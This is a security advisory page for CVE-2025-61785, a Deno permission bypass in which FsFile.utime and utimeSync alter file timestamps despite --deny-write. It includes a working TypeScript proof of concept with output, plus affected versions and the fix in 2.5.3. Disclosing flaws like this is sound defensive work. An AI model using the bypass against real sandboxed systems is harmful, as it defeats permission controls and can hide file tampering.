CVE-2025-61785: Deno's --deny-write check does not prevent permission bypass

Published Oct 7, 2025
·
Updated

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup: deno --version deno 2.4.2 (stable, release, x8664-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3

touch test.txt

js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false});

const fileInfoBefore = await file.stat(); await file.utime(new Date("2000-01-01"), new Date("2000-01-01")); const fileInfoAfter = await file.stat(); console.log(BEFORE (utime)) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(AFTER (utime)) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) }

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false});

const fileInfoBefore = file.statSync(); file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01")); const fileInfoAfter = file.statSync(); console.log(BEFORE (utimeSync)) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(AFTER (utimeSync)) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) }

// https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }

// https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }

async function main(){ const poc = Deno.args[0] || 1;

const status = await Deno.permissions.query({ name: "write", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } }

main()

Output: - deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 1 PermissionStatus { state: "denied", onchange: null } BEFORE (utime) 2025 2025 AFTER (utime) 2000 2000

- deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 2 PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001

- deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 3 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...

- deno run --allow-read=./ --deny-write=./ pocfile.utime.ts 4 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ...

Impact

Permission model bypass

Other sources

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./. It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./). Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

— MITRE

Affected Software

3 affected componentsFixes available
rust/deno<2.5.3
2.5.3
Deno Deno<=2.2.15
Deno Deno>=2.3.0<2.5.3

Event History

Oct 7, 2025
Advisory Published
via GitHub·10:36 PM
Data Sourced
via GitHub·10:36 PM
DescriptionSeverityWeaknessAffected Software
Oct 8, 2025
CVE Published
via MITRE·12:37 AM
Data Sourced
via MITRE·12:37 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
RemedyAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-61785?

CVE-2025-61785 has been classified as a medium severity vulnerability.

2

How do I fix CVE-2025-61785?

To fix CVE-2025-61785, upgrade to Deno version 2.5.3 or later.

3

What are the main effects of CVE-2025-61785?

CVE-2025-61785 allows users to modify file access and modification times without proper permission checks.

4

Who is affected by CVE-2025-61785?

CVE-2025-61785 affects users of Deno versions prior to 2.5.3.

5

What functions are involved in CVE-2025-61785?

CVE-2025-61785 involves the functions `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync`.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203